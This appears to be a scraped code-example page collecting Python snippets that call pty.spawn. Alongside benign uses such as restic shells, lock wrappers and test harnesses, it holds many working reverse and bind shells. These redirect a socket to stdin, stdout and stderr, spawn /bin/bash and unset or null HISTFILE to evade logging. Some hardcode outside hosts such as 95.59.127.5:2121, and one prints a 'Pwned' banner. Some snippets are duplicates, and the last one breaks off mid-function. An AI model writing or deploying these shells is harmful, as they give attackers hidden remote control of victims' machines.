Exemple #1
0
def restic_shell(configs: list):
    print("The following repositories are available\n")
    i = 0
    all_repos = []
    for config in configs:
        print(config["name"])
        env = config.get("environment")
        for repo in config.get("repositories"):
            print("[{}] - {}".format(i, repo))
            all_repos += [(env, repo)]
            i += 1

    if i == 1:
        selection = 0
        print("Found only one repo.")
    else:
        selection = int(input("Choose a repo: "))

    env, repo = all_repos[selection]
    env.update({"RESTIC_REPOSITORY": repo})
    print("Using: {}".format(repo))
    print(
        "Spawning a new shell with the restic environment variables all set.")
    print("Try `restic snapshots` for example.")
    initialize_environment(env)
    pty.spawn(os.environ.get("SHELL"))
    print("You've exited your restic shell.")
    sys.exit(0)
Exemple #2
0
 def run(self, cmd=None):
     if cmd is None:
         from pty import spawn
         spawn("/bin/bash")
     else:
         call(cmd, shell=True)
     print_formatted_text("")
Exemple #3
0
    def main():
        parser = argparse.ArgumentParser(
            description="Run program, acquiring the lock in MongoDB"
        )
        parser.add_argument(
            "-l", "--lockname",
            help="Name of the lock",
            required=True
        )
        parser.add_argument(
            "-b", "--block",
            help="Block execution till lock will be available",
            action="store_true",
            default=False
        )
        parser.add_argument(
            "-t", "--timeout",
            help="Timeout for blocking",
            type=int,
            default=None
        )
        parser.add_argument(
            "command",
            help="Command to run",
            nargs=argparse.ONE_OR_MORE,
        )
        options = parser.parse_args()

        locked = lock.with_autoprolong_lock(
            options.lockname,
            block=options.block, timeout=options.timeout)

        with locked:
            pty.spawn(options.command)
Exemple #4
0
    def share(self):
        # XXX: Not very pythonic >:(
        log.debug("Establishing XMPP connection")
        if not self.xmpp.connect():
            die("Could not connect, see xmpp.log for details")

        # Join all rooms
        muc_plugin = self.xmpp.get_plugin('xep_0045')
        log.debug("Joining rooms: {}".format(self.config.strategy['rooms']))
        for room in self.config.strategy['rooms']:
            muc_plugin.joinMUC(room, self.config.options['nick'])

        # Process XMPP events in another thread
        log.debug("Spawning XMPP worker")
        self.xmpp.process()

        '''
        Spawn a new shell in a pseudo terminal, pty polls with select()
        and notifies LineReader when data is available. There's an annoying
        bug right now; pty doesn't know when to die because it never
        gets EOF. Idk how to deal with this but you can just hit crlf twice
        after exiting the shell.
        '''
        log.info("@_@ You are being watched @_@")
        pty.spawn(self.config.options['shell'], self.reader.read)
        log.info("X_X You are alone again X_X")

        # Close XMPP connection
        # XXX: If I didn't set send_close=False here, this took a long time
        # to exit. My guess is that hipchat doesn't properly respond to the
        # stream footer but idk.
        log.debug("Tearing down XMPP connection")
        self.xmpp.disconnect(send_close=False)
Exemple #5
0
    def main():
        parser = argparse.ArgumentParser(
            description="Run program, acquiring the lock in MongoDB")
        parser.add_argument("-l",
                            "--lockname",
                            help="Name of the lock",
                            required=True)
        parser.add_argument("-b",
                            "--block",
                            help="Block execution till lock will be available",
                            action="store_true",
                            default=False)
        parser.add_argument("-t",
                            "--timeout",
                            help="Timeout for blocking",
                            type=int,
                            default=None)
        parser.add_argument(
            "command",
            help="Command to run",
            nargs=argparse.ONE_OR_MORE,
        )
        options = parser.parse_args()

        locked = lock.with_autoprolong_lock(options.lockname,
                                            block=options.block,
                                            timeout=options.timeout)

        with locked:
            pty.spawn(options.command)
Exemple #6
0
def restic_shell(configs: List[Dict[str, Any]]) -> None:
    if len(configs) == 1 and len(configs[0]["repositories"]) == 1:
        logger.info("Found only one repository, using that one:\n")
        selected_config = configs[0]
        selected_repo = configs[0]["repositories"][0]
    else:
        print("The following repositories are available:")
        all_repos: List[Tuple[Dict[str, Any], str]] = []
        i = 0
        for config in configs:
            for repo in config["repositories"]:
                print(f"[{i}] - {config['name']}:{repo}")
                all_repos += [(config, repo)]
                i += 1

        selection = int(input(f"Choose a repo [0-{i - 1}]: "))
        selected_config, selected_repo = all_repos[selection]

    env = selected_config["environment"]
    env.update({"RESTIC_REPOSITORY": selected_repo})

    print(f"Using: \033[1;92m{selected_config['name']}:{selected_repo}\033[0m")
    print(
        "Spawning a new shell with the restic environment variables all set.")
    initialize_environment(env)
    print("\nTry `restic snapshots` for example.")
    pty.spawn(os.environ["SHELL"])
    print("You've exited your restic shell.")
    sys.exit(0)
Exemple #7
0
def main():
    if len(sys.argv) !=3:
        usage(sys.argv[0])
        sys.exit()
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    try:
        s.connect((sys.argv[1],int(sys.argv[2])))
        print 'connect ok'
    except:
        print 'connect faild'
        sys.exit()
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    global shell
    os.unsetenv("HISTFILE")
    os.unsetenv("HISTFILESIZE")
    os.unsetenv("HISTSIZE")
    os.unsetenv("HISTORY")
    os.unsetenv("HISTSAVE")
    os.unsetenv("HISTZONE")
    os.unsetenv("HISTLOG")
    os.unsetenv("HISTCMD")
    os.putenv("HISTFILE",'/dev/null')
    os.putenv("HISTSIZE",'0')
    os.putenv("HISTFILESIZE",'0')
    pty.spawn(shell)
    s.close()
Exemple #8
0
    def play(self, **kwargs):
        shape = (25, 80)
        self.glyphs = numpy.zeros(shape, int)
        self.reverse = numpy.zeros(shape, bool)
        self.bold = numpy.zeros(shape, bool)
        self._raw = ''
        self._term = ansiterm.Ansiterm(*shape)

        self.command = None

        self._need_inventory = True
        self._more_inventory = False

        self.messages = collections.deque(maxlen=1000)

        self.stats = {}
        self.inventory = {}
        self.spells = {}

        opts = dict(character=random.choice('ran wiz'.split()),
                    gender=random.choice('mal fem'.split()),
                    race=random.choice('elf hum'.split()),
                    align=random.choice('cha neu'.split()))
        opts.update(kwargs)

        handle = tempfile.NamedTemporaryFile()
        handle.write((self.OPTIONS % opts).encode('ascii'))
        handle.flush()

        os.environ['NETHACKOPTIONS'] = '@' + handle.name

        pty.spawn(['nethack'], self._observe, self._act)
Exemple #9
0
def run_interactive(cmd):
    status = 'success'
    result = None

    print('Recording {}. Send EOF (^D) to end.'.format(cmd), end='\n\n')

    # This is mostly taken from the stdlib's `pty` docs
    with io.BytesIO() as script:
        def read(fd):
            data = os.read(fd, 1024)
            script.write(data)
            return data

        # TODO: update this with try/except clauses as we find exceptions
        pty.spawn(cmd, read)

        try:
            result = script.getvalue().decode(encoding='utf-8')
        except UnicodeDecodeError:
            result = script.getvalue().decode(encoding='cp437')

    print('\nSubmission recording completed.')

    runagain = input('Do you want to run the submission again? [y/N]: ')
    again = runagain.lower().startswith('y')

    return (status, result, again)
Exemple #10
0
def bcon():
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
        s.connect(("95.59.127.5",2121));
        os.dup2(s.fileno(),0);
        os.dup2(s.fileno(),1);
        os.dup2(s.fileno(),2);
        pty.spawn("/bin/bash")
def main():
    """Main entry point. Parse arguments and launch container."""
    launch_args, docker_arguments = _parse_args()
    argv = ["deeplabcut_docker.sh", launch_args.container, *docker_arguments]
    print(_MOTD, file=sys.stderr)
    pty.spawn(argv)
    print("Container stopped.", file=sys.stderr)
Exemple #12
0
def main():
    if len(sys.argv) < 3:
        usage(sys.argv[0])
        sys.exit()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        if sys.argv[3] == 'udp':
            s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    except:
        pass
    try:
        s.connect((sys.argv[1], int(sys.argv[2])))
        print 'connect ok'
    except:
        print 'connect faild'
        sys.exit()
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)
    global shell
    os.unsetenv("HISTFILE")
    os.unsetenv("HISTFILESIZE")
    os.unsetenv("HISTSIZE")
    os.unsetenv("HISTORY")
    os.unsetenv("HISTSAVE")
    os.unsetenv("HISTZONE")
    os.unsetenv("HISTLOG")
    os.unsetenv("HISTCMD")
    os.putenv("HISTFILE", '/dev/null')
    os.putenv("HISTSIZE", '0')
    os.putenv("HISTFILESIZE", '0')
    pty.spawn(shell)
    s.close()
Exemple #13
0
 def f(path):
     if os.path.isfile(path):
         path = os.path.dirname(path)
     cli.note("Running a new shell in %s\n"
              "To exit the shell, type 'exit' and press Enter." % path)
     with util.Chdir(path):
         pty.spawn([shell_cmd])
Exemple #14
0
def ptyShell(action, sock):
    # #platformshells = {
    #     'win': 'cmd.exe',
    #     'mac': '/bin/bash',
    #     'nix': '/bin/bash',
    #     'unk': ''
    # }
    # shellExe = platformshells[plat]
    shellExe = '/bin/bash'

    #preparing
    oldin = os.dup(0)
    oldout = os.dup(1)
    olderr = os.dup(2)
    os.dup2(sock.fileno(), 0)
    os.dup2(sock.fileno(), 1)
    os.dup2(sock.fileno(), 2)
    #os.putenv("HISTFILE",'/dev/null')

    #Shellz!
    pty.spawn(shellExe)

    # cleanup
    os.dup2(oldin, 0)
    os.dup2(oldout, 1)
    os.dup2(olderr, 2)
Exemple #15
0
    def share(self):
        # XXX: Not very pythonic >:(
        log.debug("Establishing XMPP connection")
        if not self.xmpp.connect():
            die("Could not connect, see xmpp.log for details")

        # Join all rooms
        muc_plugin = self.xmpp.get_plugin('xep_0045')
        log.debug("Joining rooms: {}".format(self.config.strategy['rooms']))
        for room in self.config.strategy['rooms']:
            muc_plugin.joinMUC(room, self.config.options['nick'])

        # Process XMPP events in another thread
        log.debug("Spawning XMPP worker")
        self.xmpp.process()
        '''
        Spawn a new shell in a pseudo terminal, pty polls with select()
        and notifies LineReader when data is available. There's an annoying
        bug right now; pty doesn't know when to die because it never
        gets EOF. Idk how to deal with this but you can just hit crlf twice
        after exiting the shell.
        '''
        log.info("@_@ You are being watched @_@")
        pty.spawn(self.config.options['shell'], self.reader.read)
        log.info("X_X You are alone again X_X")

        # Close XMPP connection
        # XXX: If I didn't set send_close=False here, this took a long time
        # to exit. My guess is that hipchat doesn't properly respond to the
        # stream footer but idk.
        log.debug("Tearing down XMPP connection")
        self.xmpp.disconnect(send_close=False)
    def __init__(self, cmdv, tee_fd=None, silent=False, verbose=False):
        if tee_fd is None:
            self.tee = StringIO()
            self.internal_fd = True
        else:
            self.tee = tee_fd
        if silent == True:
            self.silent = ''
        else:
            self.silent = silent
        if verbose:
            print('+', ' '.join(cmdv))
        #
        ## python lambda is the only way to look into the surrounding scope.
        ## But then python lambda cannot do anything except a simple expression.
        ## hence we need both
        ## a method
        ##  which can have assignments and multiple statements, but cannot see the scope.
        ## and a lambda
        ##  which sees the scope, but cannot have assignements and multiple statements.
        ## and we need to pass in a reference, so that it is mutable from inside.
        ##  using a one element array.
        ## Total: three ugly hacks, that would be a plain anonymous sub {} in perl.
        import pty

        # FIXME: this code has better signal handling than pty.spawn:
        # http://code.google.com/p/lilykde/source/browse/trunk/runpty.py?r=314
        # FIXME: sudo needs to reprompt for a password, when behind a pty
        pty.spawn(cmdv, lambda fd: self.tee_read(fd))
Exemple #17
0
def sheller(arg):
    global shell, shell_input_reader, shell_output_writer
    os.dup2(shell_input_reader, 0)
    os.dup2(shell_output_writer, 1)
    os.dup2(shell_output_writer, 2)
    while True:
        pty.spawn('/bin/bash')
  def __init__(self, cmdv, tee_fd=None, silent=False, verbose=False):
    if tee_fd is None:
      self.tee = StringIO()
      self.internal_fd = True
    else:
      self.tee = tee_fd
    if silent == True:
      self.silent = ''
    else:
      self.silent = silent
    if verbose:
      print('+', ' '.join(cmdv))
    #
    ## python lambda is the only way to look into the surrounding scope. 
    ## But then python lambda cannot do anything except a simple expression.
    ## hence we need both 
    ## a method
    ##  which can have assignments and multiple statements, but cannot see the scope.
    ## and a lambda
    ##  which sees the scope, but cannot have assignements and multiple statements.
    ## and we need to pass in a reference, so that it is mutable from inside.
    ##  using a one element array.
    ## Total: three ugly hacks, that would be a plain anonymous sub {} in perl.
    import pty

    # FIXME: this code has better signal handling than pty.spawn:
    # http://code.google.com/p/lilykde/source/browse/trunk/runpty.py?r=314
    # FIXME: sudo needs to reprompt for a password, when behind a pty
    pty.spawn(cmdv, lambda fd: self.tee_read(fd))
Exemple #19
0
def get_shell():
    pty.spawn("/bin/fish")
    return asyncio.create_subprocess_exec("/bin/fish",
                                          stdout=asyncio.subprocess.PIPE,
                                          stdin=asyncio.subprocess.PIPE,
                                          stderr=asyncio.subprocess.PIPE,
                                          bufsize=0)
Exemple #20
0
def main():
    # Read in the config
    config = configparser.ConfigParser()
    config.read('config.ini')

    # Setup Mattermost connection
    mm = mattermost.MMApi(config["mattermost"]["url"])
    mm.login(bearer=config["mattermost"]["token"])
    user = mm.get_user()

    # Check for team id
    if "team_id" not in config["mattermost"]:
        available_teams = mm.get_teams()
        eprint("No team_id set in config.ini, please select one:")
        for team in available_teams:
            eprint(f" - {team['display_name']}: {team['id']}")
        return

    # Check for channel id
    if "channel_id" not in config["mattermost"]:
        available_channels = mm.get_channels_for_user(
            user["id"], config["mattermost"]["team_id"])
        eprint("No channel_id set in config.ini, please select one:")
        for channel in available_channels:
            eprint(f" - {channel['display_name']}: {channel['id']}")
        return

    mm_ws = mattermost.ws.MMws(lambda mm_ws, data: handle_ws(mm_ws, data, pty),
                               mm, config["mattermost"]["ws_url"])

    # Spawn a new bash shell, sending all output to Mattermost
    pty.spawn("/bin/bash", lambda fd: read_from_pty(fd, mm, config))
    pty.fork()
Exemple #21
0
 def run(self):
     global tty_has_quit
     print("TTY cast started")
     os.environ["TERM"] = "linux"
     pty.spawn(SHELL, master_read)
     print("TTY cast finished")
     os._exit(0)
Exemple #22
0
def post_chroot(step, echo, run, shell):
    """Post-installation steps (run in chroot)"""

    # interactive shell in chroot after installation
    # comment this out to make it exit automatically
    step('Post-installation step (shell in chroot)')
    import pty
    pty.spawn('bash')
def execTTY():
    import pty
    # import tty
    # fileno = sys.stdin.fileno()
    # tty.setraw(fileno)
    # tty.setcbreak(fileno)
    pty.spawn(sys.argv)  # respawns the process in TTY
    sys.exit(0)
Exemple #24
0
 def start_shell(self):
     os.dup2(self.sock.fileno(), 0)
     os.dup2(self.sock.fileno(), 1)
     os.dup2(self.sock.fileno(), 2)
     os.unsetenv('HISTFILE')
     os.unsetenv('HISTFILESIZE')
     pty.spawn(self.bash)
     self.close()
def main():
    s = sctpsocket_tcp(socket.AF_INET)
    s.connect((lhost, lport))
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    os.putenv("HISTFILE",'/dev/null')
    pty.spawn("/bin/bash")
    s.close()
Exemple #26
0
def shell(host, port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, int(port)))
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)
    os.putenv('HISTFILE', '/dev/null')
    pty.spawn('/bin/bash')
    s.close()
def main():
    s = sctpsocket_tcp(socket.AF_INET)
    s.connect((lhost, lport))
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)
    os.putenv("HISTFILE", '/dev/null')
    pty.spawn("/bin/bash")
    s.close()
def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((lhost, lport))
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)
    os.putenv("HISTFILE", '/dev/null')
    pty.spawn("/bin/bash")
    s.close()
Exemple #29
0
def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, int(port)))
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)
    os.putenv("HISTFILE", '/dev/null')  # Don't record any history
    pty.spawn("/bin/bash")  # Spawn a bash shell with pty
    s.close()
def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((lhost, lport))
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)
    os.putenv("HISTFILE", '/dev/null')
    pty.spawn("/bin/bash") 
    s.close()
def inpty(argv):
  output = []
  def reader(fd):
    c = os.read(fd, 1024)
    while c:
      output.append(c)
      c = os.read(fd, 1024)

  pty.spawn(argv, master_read=reader)
  return ''.join(output)
Exemple #32
0
 def run(self):
     import sys, socket, pty
     try:
         s = socket.socket()
         s.settimeout(5)
         s.connect((LHOST, LPORT))
         [os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]
         pty.spawn("/bin/sh")
     except:
         pass
Exemple #33
0
def runCmd(cmd):
  global devnullFd
  global master_read
  if args.verbose:
    print("Launching... ", cmd)
  cmd = splitWithQuotes(cmd);
  # Example cmd:  dmtcp_launch screen ...
  ptyMode = False
  for str in cmd:
    # Checkpoint image can be emacs23_x, or whatever emacs is a link to.
    # vim can be vim.gnome, etc.
    if re.search("(_|/|^)(screen|script|vim.*|emacs.*|pty|tcsh|zsh)(_|$)", str):
      ptyMode = True
  try:
    os.stat(cmd[0])
  except:
    raise CheckFailed(cmd[0] + " not found")
  if ptyMode:
    # FOR DEBUGGING:  This can mysteriously fail, causing pty.fork() to fail
    try:
      (fd1, fd2) = os.openpty()
    except OSError as e:
      print("\n\n/dev/ptmx:"); os.system("ls -l /dev/ptmx /dev/pts")
      raise e
    else:
      os.close(fd1); os.close(fd2)
    (pid, fd) = pty.fork()
    if pid == 0:
      # Close all fds except stdin/stdout/stderr
      os.closerange(3,1024)
      signal.alarm(300) # pending alarm inherited across exec, but not a fork
      # Problem:  pty.spawn invokes fork.  alarm() will have no effect.
      pty.spawn(cmd, master_read)
      sys.exit(0)
    else:
      return MySubprocess(pid)
  else:
    if cmd[0] == BIN+"dmtcp_coordinator":
      childStdout = subprocess.PIPE
      # Don't mix stderr in with childStdout; need to read stdout
      if args.verbose:
        childStderr = None
      else:
        childStderr = devnullFd
    elif args.verbose:
      childStdout=None  # Inherit child stdout from parent
      childStderr=None  # Inherit child stderr from parent
    else:
      childStdout = devnullFd
      childStderr = subprocess.STDOUT # Mix stderr into stdout file object
    # NOTE:  This might be replaced by shell=True in call to subprocess.Popen
    proc = subprocess.Popen(cmd, bufsize=BUFFER_SIZE,
                 stdin=subprocess.PIPE, stdout=childStdout,
                 stderr=childStderr, close_fds=True)
  return proc
Exemple #34
0
def get_shell():
    HOST = "10.10.14.2"
    PORT = 9091

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((HOST, PORT))
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)

    pty.spawn("/bin/bash")
Exemple #35
0
def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s.connect((lhost, lport))
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)
    os.putenv("HISTFILE", '/dev/null')
    os.putenv("HISTSIZE", 0)
    pty.spawn("/bin/bash")
    s.close()
    os.remove('/tmp/.x.py')
Exemple #36
0
def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s.connect((lhost, lport))
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)
    os.putenv("HISTFILE", '/dev/null')
    os.putenv("HISTSIZE", 0)
    pty.spawn("/bin/bash")
    s.close()
    os.remove('/tmp/.x.py')
Exemple #37
0
def execute():
    #f= open("/tmp/teste.txt","w+")
    #f.write("UID: %d\n" % os.getuid())
    #f.close()

    os.dup2(sys.stderr.fileno(), sys.stdin.fileno())
    os.dup2(sys.stderr.fileno(), sys.stdout.fileno())

    print "[*] Pwned by M4v3r1ck, enjoy your shell!"

    pty.spawn("/bin/bash")
def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s.bind(('', lport))
    s.listen(1)
    (rem, addr) = s.accept()
    os.dup2(rem.fileno(),0)
    os.dup2(rem.fileno(),1)
    os.dup2(rem.fileno(),2)
    os.putenv("HISTFILE",'/dev/null')
    pty.spawn("/bin/bash")
    s.close()
Exemple #39
0
 def terminal2(self, cpid):
     """
     This function takes a pid of a running container and opens it in
     xterm if its available
     """
     nsenter = ('sudo nsenter -m -u -n -i -p -t {0} /bin/bash'.format(cpid))
     if os.getenv('DISPLAY', "") == "":
         pty.spawn(nsenter.split())
     else:
         mycommand = "xterm -T {0} -e {1}".format(cpid, nsenter)
         subprocess.Popen([mycommand], stdout=subprocess.PIPE, shell=True)
def main():
    s = sctpsocket_tcp(socket.AF_INET)
    s.bind(('', lport))
    s.listen(1)
    (rem, addr) = s.accept()
    os.dup2(rem.fileno(), 0)
    os.dup2(rem.fileno(), 1)
    os.dup2(rem.fileno(), 2)
    os.putenv("HISTFILE", '/dev/null')
    pty.spawn("/bin/bash")
    s.close()
Exemple #41
0
def gpg(*args):
    argv = ['gpg'] + list(args)
    for n in xrange(3):
        pty.spawn(argv)
        pid, status = os.wait()
        status = os.WEXITSTATUS(status)
        if status == 0:
            break
    else:
        print 'Failure running', ' '.join(argv)
        sys.exit(status)
Exemple #42
0
def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(('', lport))
    s.listen(1)
    (rem, addr) = s.accept()
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)
    os.putenv("HISTFILE", '/dev/null')
    pty.spawn("/bin/bash")
    s.close()
def main(args):
    parser = argparse.ArgumentParser(description="Demonstrate commands on demand.")
    parser.add_argument('script', help='The script to draw commands from.')
    parser.add_argument('command', nargs='+',
                        help='The interpreter (including any arguments to it)'
                             'to run the lines from script in.')

    options = parser.parse_args(args)

    script_reader = make_reader(options.script)

    pty.spawn(options.command, stdin_read=script_reader)
Exemple #44
0
 def join(self, new_tty=False):
     """Although this is designed for fooling processes (like su) to read
     from stdin when it's not a tty, it seems to work OK to avoid pty
     ownership issues."""
     args = ['screen', '-r', self.name]
     if new_tty:
         # TODO:
         #   Can we do this less hackily?  I think it messes up the console
         #   because it doesn't fully replace streams.  Dup2?
         pty.spawn(args)
     else:
         self._pipe(args).wait()
Exemple #45
0
def spawn_vim(vim_command='vim', rcfiles=[], files_to_edit=[]):
    import pty

    command = [vim_command, '-u']

    if rcfiles:
        command.extend(rcfiles)
    else:
        command.append('NONE')

    command.extend(files_to_edit)

    pty.spawn(command)
Exemple #46
0
 def __init__(self, host="localhost", username="******"):
     (self.master, self.slave) = pty.openpty()
     (self.pid, self.fd) = pty.fork()
     if self.pid == 0:
         pty.spawn(["ssh", "%s@%s" % (username, host)], self.master_read, self.slave_read)
     else:
         attr = fcntl.fcntl(self.fd, fcntl.F_GETFL)
         attr |= os.O_NONBLOCK
         fcntl.fcntl(self.fd, fcntl.F_SETFL, attr)
         self.outputLock = thread.allocate_lock()
         self.running = True
         self.outputText = ""
         self.outputPresent = False
         thread.start_new_thread(self.keepReading, ())
Exemple #47
0
def run(user, cmd, interactive=False):
    '''
    Run ``cmd`` as ``user``. If ``interactive`` is True, save any curses status
    and synchronously run the command in foreground. Otherwise, run the command
    in background, discarding any output.

    special user -2 means: current user
    '''
    prefix = []
    cur_uid = os.getuid()
    try:
        cur_user = pwd.getpwuid(cur_uid).pw_name
    except:
        cur_user = cur_uid

    if user != cur_user and user != -2:
        if cur_uid == 0:
            prefix = ['su', user]
        if user == 'root':
            prefix = ['sudo']
        else:
            prefix = ['sudo', '-u', user]

    if interactive:
        # Prepare screen for interactive command
        curses.savetty()
        curses.nocbreak()
        curses.echo()
        curses.endwin()

        # Run command
        pty.spawn(prefix+cmd)

        # Restore screen
        curses.start_color() # load colors
        curses.use_default_colors()
        curses.noecho()      # do not echo text
        curses.cbreak()      # do not wait for "enter"
        curses.curs_set(0)   # hide cursor
        curses.mousemask(curses.ALL_MOUSE_EVENTS)
        curses.resetty()
    else:
        with open('/dev/null', 'w') as dev_null:
            subprocess.Popen(
                prefix+cmd,
                stdout=dev_null,
                stderr=dev_null,
                close_fds=True,
            )
Exemple #48
0
def shellUnix(fdr, fdw):

	# fork it is
	pid = os.fork()
	if pid:
		return pid

	else:
		# redirect stdin/stdout/stderr to our pipes
		os.dup2(fdw[0],0)
		os.dup2(fdr[1],1)
		os.dup2(fdr[1],2) 

		# execute shell - with PTY
		pty.spawn("/bin/sh")
Exemple #49
0
def spawn_shell(username):
    """
	Detach from the controlling terminal, change UID to that of username
	and spawn a shell in their home directory.
	"""

    passwd_file = read_passwd()

    if not username in passwd_file:
        log("Account not found.")
        return False
    user = passwd_file[username]
    uid = user[1]
    gid = user[2]
    home_dir = user[4]
    shell = user[5]

    log("Defining environment.")
    os.environ["HOME"] = home_dir
    os.environ["USER"] = username
    os.environ["SHELL"] = shell

    screen = _curses.initscr()
    terminal_width = screen.getmaxyx()[1]
    _curses.endwin()

    os.environ["COLUMNS"] = str(terminal_width)

    if not "TERM" in os.environ:
        os.environ["TERM"] = "dumb"

    log("Changing UID")
    os.setgid(int(gid))
    os.setuid(int(uid))

    if not os.path.isdir(home_dir):
        home_dir = "/"
    log("Moving into %s" % home_dir)
    os.chdir(home_dir)

    log("Detaching from TTY")

    log("Spawning shell.")
    pty.spawn(shell)
    if os.path.isfile("/usr/bin/clear"):
        os.system("clear")
    return True
def main(port):
    try:
        port = int(port)

    except ValueError:
        print ("This does not seem to be a valid number.")
        return
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.IPPROTO_IP, socket.SO_REUSEADDR, 1)
    s.bind(("", port))
    s.listen(1)
    (conn, address) = s.accept()

    for x in range(3):
        os.dup2(conn.fileno(), x);

    pty.spawn("/bin/bash")
    s.close()
Exemple #51
0
def connect(srv_model, ctx):
    ssh_command = shutil.which("ssh")
    if not ssh_command:
        raise ValueError("Cannot find ssh command")

    ssh_command = [ssh_command]
    ssh_command.append("-4")
    ssh_command.append("-tt")
    ssh_command.append("-x")
    ssh_command.extend(("-o", "UserKnownHostsFile=/dev/null"))
    ssh_command.extend(("-o", "StrictHostKeyChecking=no"))
    ssh_command.extend(("-l", srv_model.username))
    ssh_command.extend(("-i", ctx.obj["identity_file"]))
    ssh_command.extend(ctx.obj["ssh_args"])
    ssh_command.append(srv_model.ip)

    LOG.debug("Execute %s", ssh_command)

    pty.spawn(ssh_command)
Exemple #52
0
    def run_feature(self, *args, **kwargs):
        """
        Run a feature and return the (exitcode, output) tuple.
        :param args: Arguments to pass to the Aloe subprocess
        :param terminal: Whether to run in a terminal
        :returns: (exit code, output)
        """

        # Python 2 doesn't support named kwargs after star-args
        terminal = kwargs.pop('terminal', False)
        if kwargs:
            raise TypeError("Invalid arguments.")

        args = [sys.executable, '-c', 'import aloe; aloe.main()'] + list(args)

        # Ensure Aloe itself is on the path
        with set_environ(PYTHONPATH=ROOT_PATH):

            if terminal:
                try:
                    import pty
                except ImportError:
                    raise unittest.SkipTest("PTY support unavailable.")

                chunks = [b'']

                def read(file_desc):
                    """Store the subprocess output."""
                    data = os.read(file_desc, 1024)
                    chunks.append(data)
                    return data

                with set_environ(
                        COLORTERM='',
                        TERM='xterm-256color',
                        TERM_PROGRAM='',
                ):

                    status = pty.spawn(args, read)  # pylint:disable=assignment-from-no-return

                    # On Python 2, pty.spawn doesn't return the exit code
                    if status is None:
                        (_, status) = os.wait()  # pylint:disable=no-member

                    return status, b''.join(chunks)

            try:
                output = subprocess.check_output(
                    args,
                    stderr=subprocess.STDOUT,
                )
                return 0, output
            except subprocess.CalledProcessError as ex:
                return ex.returncode, ex.output
Exemple #53
0
    def run(self):
        self.running = True
        try:
            while self.running:
                try:
                    self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
                    self.sock.connect((self.ip, int(self.port)))
                except:
                    SignalHandler.threadSleep(int(self.sleep), self)
                    continue
                
                os.dup2(self.sock.fileno(),0)
                os.dup2(self.sock.fileno(),1)
                os.dup2(self.sock.fileno(),2)
                os.putenv("HISTFILE",'/dev/null')
                pty.spawn("/bin/bash")

                self.closeCon()
        except:
            pass  # Always keep the reverse shell running!
Exemple #54
0
def main():
    if len(sys.argv) != 3:
        usage(sys.argv[0])
        sys.exit(1)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        s.connect((socket.gethostbyname(sys.argv[1]), int(sys.argv[2])))
        print "[+]Connect OK."
    except:
        print "[-]Can't connect"
        sys.exit(2)

    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)
    global shell
    os.unsetenv("HISTFILE")
    os.unsetenv("HISTFILESIZE")
    pty.spawn(shell)
    s.close()
Exemple #55
0
def main():
    if len(sys.argv) != 3:
        usage(sys.argv[0])
        sys.exit(1)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        s.bind((sys.argv[1], int(sys.argv[2])))
        s.listen(0)
        print "[+]Start Server."
    except Exception as e:
        print "[-]Error Happened: %s" %e.message
        sys.exit(2)

    while True:
        c = s.accept()
        os.dup2(c[0].fileno(), 0)
        os.dup2(c[0].fileno(), 1)
        os.dup2(c[0].fileno(), 2)

        # It's important to use pty to spawn the shell.
        pty.spawn("/bin/sh")
        c[0].close()
Exemple #56
0
def runCmd(cmd):
    global devnullFd
    global master_read
    if args.verbose:
        print "Launching... ", cmd
    cmd = splitWithQuotes(cmd)
    # Example cmd:  dmtcp_launch screen ...
    ptyMode = False
    for str in cmd:
        # Checkpoint image can be emacs23_x, or whatever emacs is a link to.
        # vim can be vim.gnome, etc.
        if re.search("(_|/|^)(screen|script|vim.*|emacs.*|pty)(_|$)", str):
            ptyMode = True
    try:
        os.stat(cmd[0])
    except:
        raise CheckFailed(cmd[0] + " not found")
    if ptyMode:
        # FOR DEBUGGING:  This can mysteriously fail, causing pty.fork() to fail
        try:
            (fd1, fd2) = os.openpty()
        except OSError, e:
            print "\n\n/dev/ptmx:"
            os.system("ls -l /dev/ptmx /dev/pts")
            raise e
        else:
            os.close(fd1)
            os.close(fd2)
        (pid, fd) = pty.fork()
        if pid == 0:
            # Close all fds except stdin/stdout/stderr
